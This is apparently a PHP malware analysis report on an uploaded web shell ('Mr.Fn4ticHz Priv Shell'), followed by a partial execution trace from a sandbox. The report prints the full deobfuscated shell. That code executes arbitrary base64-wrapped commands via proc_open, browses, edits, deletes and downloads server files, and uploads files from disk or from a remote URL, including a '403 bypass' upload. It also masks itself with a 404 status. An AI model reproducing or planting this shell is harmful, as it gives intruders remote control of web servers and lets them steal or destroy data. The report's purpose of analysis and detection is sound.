PHP Malware Analysis

anon.phtml

md5: 87784aa0d3b71a5bb9c546f7a6b24772

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<!DOCTYPE html>
<html>
<head>
    <title>Mr.Fn4ticHz Priv Shell</title>
    <meta name="author" content="Mr.Fn4ticHz">
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="description" content="Crushed Is Batter Than Fixing">
    <meta property="og:description" content="Crushed Is Batter Than Fixing">
    <meta property="og:image" content="https://bbx-host.pw/bbr.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">Mr.Fn4ticHz Priv Shell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php 
@set_time_limit(0);
@error_reporting(0);
@http_response_code(404);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>" . $disfunc . "</font>";
}
function author()
{
    echo "<center><br>AnonSec - 2021</center>";
    exit;
}
function cekdir()
{
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function cekroot()
{
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function xrmdir($dir)
{
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}
function dunlut($file)
{
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die;
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die;
}
function owner($file)
{
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>" . $tod['name'] . "</center>";
    } else {
        return "<center>" . fileowner($file) . "</center>";
    }
}
function cekwrite($lokasi)
{
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>" . $izin . "</font>";
    } else {
        return "<font color=red>" . $izin . "</font>";
    }
}
function ekse($komend, $lokasi)
{
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>" . htmlspecialchars(stream_get_contents($pipes[1])) . "</textarea><br><br>";
}
function ipserv()
{
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}
function cekfile($file)
{
    return "<i class=\"fa fa-file\" style=\"color: #d6d4ce\"></i> ";
}
function filedate($file)
{
    return date("F d Y g:i:s", filemtime($file));
}
function unzip($file, $lokasi)
{
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die;
    } elseif (strpos(file_get_contents($file), "PK\x03\x04") === false) {
        red("This isn't Zip File !");
        die;
    }
    $zip = new ZipArchive();
    $res = $zip->open($file);
    if ($res == true) {
        $zip->extractTo($lokasi);
        $zip->close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}
function green($text)
{
    echo "<center><font color='green'>" . $text . "</center></font>";
}
function red($text)
{
    echo "<center><font color='red'>" . $text . "</center></font>";
}
echo "Server IP : <font color=gold>" . ipserv() . "</font> &nbsp;/&nbsp; Your IP : <font color=gold>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "Web Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "System : <font color='gold'>" . php_uname() . "</font><br>";
echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
echo "Disable Function : " . $disf . "</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = stripslashes($value);
}
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}
$lokasi = str_replace('\\', '/', $lokasi);
$lokasis = explode('/', $lokasi);
$lokasinya = @scandir($lokasi);
echo "<br>Directory (" . cekwrite($lokasi) . ") : &nbsp;";
foreach ($lokasis as $id => $lok) {
    if ($lok == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($lok == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$lokasis[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $lok . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
        $lokasi = $_SERVER['DOCUMENT_ROOT'];
    }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi . "/" . $_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi . "/" . $bepasnama, $bepasdata);
        if (file_exists($lokasi . "/" . $bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $bepasnama . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}
echo "</table><br>";
echo "<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">";
echo '<th>[ &nbsp;<a href="' . $_SERVER['SCRIPT_NAME'] . '">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path=' . $lokasi . '&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : " . $_GET['fileloc'];
    echo "</tr></td></table><br/>";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>" . basename($_POST['path']) . "</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>" . $_POST['path'] . "<br><br>";
    echo '<form method="post">
    <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
    <input type="hidden" name="path" value="' . $_POST['path'] . '">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
<input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
} elseif ($_GET['komend'] == "gaskan") {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    ' . @get_current_user() . '@' . ipserv() . ':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
}
if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}
echo "<div id=\"content\"><table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Last Modified</center></td>\r\n<td><center>Owner</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($lokasinya as $dir) {
    if (!is_dir($lokasi . "/" . $dir) || $dir == '.') {
        continue;
    }
    echo "<tr>\r\n    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\r\n    <td><center>--</center></td>\r\n    <td><center>" . filedate($lokasi . "/" . $dir) . "</center></td>\r\n    <td>" . owner($lokasi . "/" . $dir) . "</td>\r\n    <td><center>";
    if (is_writable($lokasi . "/" . $dir)) {
        echo "<font color=\"green\">";
    } elseif (!is_readable($lokasi . "/" . $dir)) {
        echo "<font color=\"red\">";
    }
    echo statusnya($lokasi . "/" . $dir);
    if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
        echo "</font>";
    }
    echo "</center></td>\r\n    <td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\r\n    <select name=\"pilih\">\r\n    <option value=\"\"></option>\r\n    <option value=\"hapus\">Delete</option>\r\n    <option value=\"gantinama\">Rename</option>\r\n    </select>\r\n    <input type=\"hidden\" name=\"type\" value=\"dir\">\r\n    <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n    <input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\r\n    <input type=\"submit\" class=\"gas\" value=\">\" />\r\n    </form></center></td>\r\n    </tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td><td></td><td></td></tr>";
foreach ($lokasinya as $file) {
    if (!is_file("{$lokasi}/{$file}")) {
        continue;
    }
    $size = filesize("{$lokasi}/{$file}") / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    echo "<tr>\r\n<td>" . cekfile($lokasi . "/" . $file) . "<a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>" . filedate($lokasi . "/" . $file) . "</center></td>\r\n<td>" . owner($lokasi . "/" . $file) . "</td>\r\n<td><center>";
    if (is_writable("{$lokasi}/{$file}")) {
        echo "<font color=\"green\">";
    } elseif (!is_readable("{$lokasi}/{$file}")) {
        echo "<font color=\"red\">";
    }
    echo statusnya("{$lokasi}/{$file}");
    if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
        echo "</font>";
    }
    echo "</center></td><td><center>\r\n<form method=\"post\" action=\"?pilihan&path={$lokasi}\">\r\n<select name=\"pilih\">\r\n<option value=\"\"></option>\r\n<option value=\"hapus\">Delete</option>\r\n<option value=\"dunlut\">Download</option>\r\n<option value=\"gantinama\">Rename</option>\r\n<option value=\"edit\">Edit</option>";
    if (class_exists("ZipArchive")) {
        echo "<option value=\"unzip\">Unzip</option>";
    }
    echo "</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\r\n<input type=\"submit\" class=\"gas\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "</tr></td></table></table>";
author();
function statusnya($file)
{
    $izin = substr(sprintf('%o', fileperms($file)), -4);
    return $izin;
}

Execution traces

data/traces/87784aa0d3b71a5bb9c546f7a6b24772_trace-1676260610.2304.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:57:16.128247]
1	0	1	0.000134	393528
1	3	0	0.000650	497872	{main}	1		/var/www/html/uploads/anon.phtml	0	0
2	4	0	0.000669	497872	set_time_limit	0		/var/www/html/uploads/anon.phtml	152	1	0
2	4	1	0.000687	497936
2	4	R			FALSE
2	5	0	0.000702	497904	error_reporting	0		/var/www/html/uploads/anon.phtml	153	1	0
2	5	1	0.000715	497944
2	5	R			0
2	6	0	0.000728	497904	http_response_code	0		/var/www/html/uploads/anon.phtml	154	1	404
2	6	1	0.000741	497944
2	6	R			200
2	7	0	0.000753	497904	ini_get	0		/var/www/html/uploads/anon.phtml	156	1	'disable_functions'
2	7	1	0.000768	498384
2	7	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/anon.phtml	156	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/anon.phtml	160	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	8	0	0.000838	498800	ipserv	1		/var/www/html/uploads/anon.phtml	297	0
2	8	1	0.000852	498800
2	8	R			'127.0.0.1'
2	9	0	0.000868	498800	php_uname	0		/var/www/html/uploads/anon.phtml	299	0
2	9	1	0.000882	498912
2	9	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	10	0	0.000901	498800	get_current_user	0		/var/www/html/uploads/anon.phtml	300	0
2	10	1	0.000938	498840
2	10	R			'osboxes'
2	11	0	0.000962	498904	getmyuid	0		/var/www/html/uploads/anon.phtml	300	0
2	11	1	0.000976	498904
2	11	R			1000
2	12	0	0.000989	498808	phpversion	0		/var/www/html/uploads/anon.phtml	301	0
2	12	1	0.001001	498872
2	12	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	13	0	0.001022	498920	function_exists	0		/var/www/html/uploads/anon.phtml	304	1	'mysql_connect'
2	13	1	0.001037	498960
2	13	R			FALSE
2	14	0	0.001050	498920	function_exists	0		/var/www/html/uploads/anon.phtml	310	1	'curl_init'
2	14	1	0.001063	498960
2	14	R			TRUE
2	15	0	0.001077	498920	file_exists	0		/var/www/html/uploads/anon.phtml	316	1	'/usr/bin/wget'
2	15	1	0.001095	498960
2	15	R			TRUE
2	16	0	0.001109	498920	file_exists	0		/var/www/html/uploads/anon.phtml	322	1	'/usr/bin/perl'
2	16	1	0.001124	498960
2	16	R			TRUE
2	17	0	0.001137	498920	file_exists	0		/var/www/html/uploads/anon.phtml	328	1	'/usr/bin/python2'
2	17	1	0.001152	498960
2	17	R			FALSE
2	18	0	0.001167	498920	getcwd	0		/var/www/html/uploads/anon.phtml	342	0
2	18	1	0.001180	498968
2	18	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/anon.phtml	342	$lokasi = '/var/www/html/uploads'
2	19	0	0.001206	498968	getcwd	0		/var/www/html/uploads/anon.phtml	343	0
2	19	1	0.001218	499016
2	19	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/anon.phtml	343	$lokdua = '/var/www/html/uploads'
2	20	0	0.001243	499016	str_replace	0		/var/www/html/uploads/anon.phtml	346	3	'\\'	'/'	'/var/www/html/uploads'
2	20	1	0.001259	499112
2	20	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/anon.phtml	346	$lokasi = '/var/www/html/uploads'
2	21	0	0.001283	499016	explode	0		/var/www/html/uploads/anon.phtml	347	2	'/'	'/var/www/html/uploads'
2	21	1	0.001298	499592
2	21	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/anon.phtml	347	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	22	0	0.001330	499520	scandir	0		/var/www/html/uploads/anon.phtml	348	1	'/var/www/html/uploads'
2	22	1	0.001361	500144
2	22	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'anon.phtml', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/anon.phtml	348	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'anon.phtml', 4 => 'data', 5 => 'prepend.php']
2	23	0	0.001399	500112	cekwrite	1		/var/www/html/uploads/anon.phtml	350	1	'/var/www/html/uploads'
3	24	0	0.001411	500112	fileperms	0		/var/www/html/uploads/anon.phtml	232	1	'/var/www/html/uploads'
3	24	1	0.001432	500176
3	24	R			16895
3	25	0	0.001446	500136	sprintf	0		/var/www/html/uploads/anon.phtml	232	2	'%o'	16895
3	25	1	0.001461	500520
3	25	R			'40777'
3	26	0	0.001474	500456	substr	0		/var/www/html/uploads/anon.phtml	232	2	'40777'	-4
3	26	1	0.001487	500552
3	26	R			'0777'
2		A						/var/www/html/uploads/anon.phtml	232	$izin = '0777'
3	27	0	0.001511	500168	is_writable	0		/var/www/html/uploads/anon.phtml	233	1	'/var/www/html/uploads'
3	27	1	0.001526	500208
3	27	R			TRUE
2	23	1	0.001540	500192
2	23	R			'<font color=green>0777</font>'
1		A						/var/www/html/uploads/anon.phtml	352	$id = 0
1		A						/var/www/html/uploads/anon.phtml	354	$a = TRUE
1		A						/var/www/html/uploads/anon.phtml	352	$id = 1
1		A						/var/www/html/uploads/anon.phtml	360	$i = 0
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	352	$id = 2
1		A						/var/www/html/uploads/anon.phtml	360	$i = 0
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	352	$id = 3
1		A						/var/www/html/uploads/anon.phtml	360	$i = 0
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	352	$id = 4
1		A						/var/www/html/uploads/anon.phtml	360	$i = 0
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
1		A						/var/www/html/uploads/anon.phtml	360	$i++
2	28	0	0.001782	500136	is_readable	0		/var/www/html/uploads/anon.phtml	504	1	'/var/www/html/uploads'
2	28	1	0.001798	500176
2	28	R			TRUE
2	29	0	0.001813	500184	is_dir	0		/var/www/html/uploads/anon.phtml	519	1	'/var/www/html/uploads/.'
2	29	1	0.001827	500224
2	29	R			TRUE
2	30	0	0.001841	500192	is_dir	0		/var/www/html/uploads/anon.phtml	519	1	'/var/www/html/uploads/..'
2	30	1	0.001854	500240
2	30	R			TRUE
2	31	0	0.001868	500424	filedate	1		/var/www/html/uploads/anon.phtml	523	1	'/var/www/html/uploads/..'
3	32	0	0.001881	500424	filemtime	0		/var/www/html/uploads/anon.phtml	267	1	'/var/www/html/uploads/..'
3	32	1	0.001895	500464
3	32	R			1676260610
3	33	0	0.001908	500424	date	0		/var/www/html/uploads/anon.phtml	267	2	'F d Y g:i:s'	1676260610
3	33	1	0.001964	502816
3	33	R			'February 12 2023 10:56:50'
2	31	1	0.001982	502744
2	31	R			'February 12 2023 10:56:50'
2	34	0	0.001997	502520	owner	1		/var/www/html/uploads/anon.phtml	524	1	'/var/www/html/uploads/..'
3	35	0	0.002010	502520	function_exists	0		/var/www/html/uploads/anon.phtml	223	1	'posix_getpwuid'
3	35	1	0.002023	502560
3	35	R			TRUE
3	36	0	0.002036	502520	fileowner	0		/var/www/html/uploads/anon.phtml	224	1	'/var/www/html/uploads/..'
3	36	1	0.002049	502560
3	36	R			0
3	37	0	0.002061	502520	posix_getpwuid	0		/var/www/html/uploads/anon.phtml	224	1	0
3	37	1	0.002087	503320
3	37	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/anon.phtml	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	34	1	0.002129	502568
2	34	R			'<center>root</center>'
2	38	0	0.002144	502264	is_writable	0		/var/www/html/uploads/anon.phtml	526	1	'/var/www/html/uploads/..'
2	38	1	0.002161	502304
2	38	R			TRUE
2	39	0	0.002176	502264	statusnya	1		/var/www/html/uploads/anon.phtml	528	1	'/var/www/html/uploads/..'
3	40	0	0.002189	502264	fileperms	0		/var/www/html/uploads/anon.phtml	590	1	'/var/www/html/uploads/..'
3	40	1	0.002201	502304
3	40	R			16895
3	41	0	0.002213	502264	sprintf	0		/var/www/html/uploads/anon.phtml	590	2	'%o'	16895
3	41	1	0.002226	502648
3	41	R			'40777'
3	42	0	0.002239	502584	substr	0		/var/www/html/uploads/anon.phtml	590	2	'40777'	-4
3	42	1	0.002252	502680
3	42	R			'0777'
2		A						/var/www/html/uploads/anon.phtml	590	$izin = '0777'
2	39	1	0.002281	502296
2	39	R			'0777'
2	43	0	0.002295	502264	is_writable	0		/var/www/html/uploads/anon.phtml	529	1	'/var/www/html/uploads/..'
2	43	1	0.002310	502304
2	43	R			TRUE
2	44	0	0.002325	502264	is_dir	0		/var/www/html/uploads/anon.phtml	519	1	'/var/www/html/uploads/.htaccess'
2	44	1	0.002340	502304
2	44	R			FALSE
2	45	0	0.002353	502272	is_dir	0		/var/www/html/uploads/anon.phtml	519	1	'/var/www/html/uploads/anon.phtml'
2	45	1	0.002367	502320
2	45	R			FALSE
2	46	0	0.002380	502272	is_dir	0		/var/www/html/uploads/anon.phtml	519	1	'/var/www/html/uploads/data'
2	46	1	0.002395	502304
2	46	R			TRUE
2	47	0	0.002408	502488	filedate	1		/var/www/html/uploads/anon.phtml	523	1	'/var/www/html/uploads/data'
3	48	0	0.002422	502488	filemtime	0		/var/www/html/uploads/anon.phtml	267	1	'/var/www/html/uploads/data'
3	48	1	0.002435	502528
3	48	R			1676260610
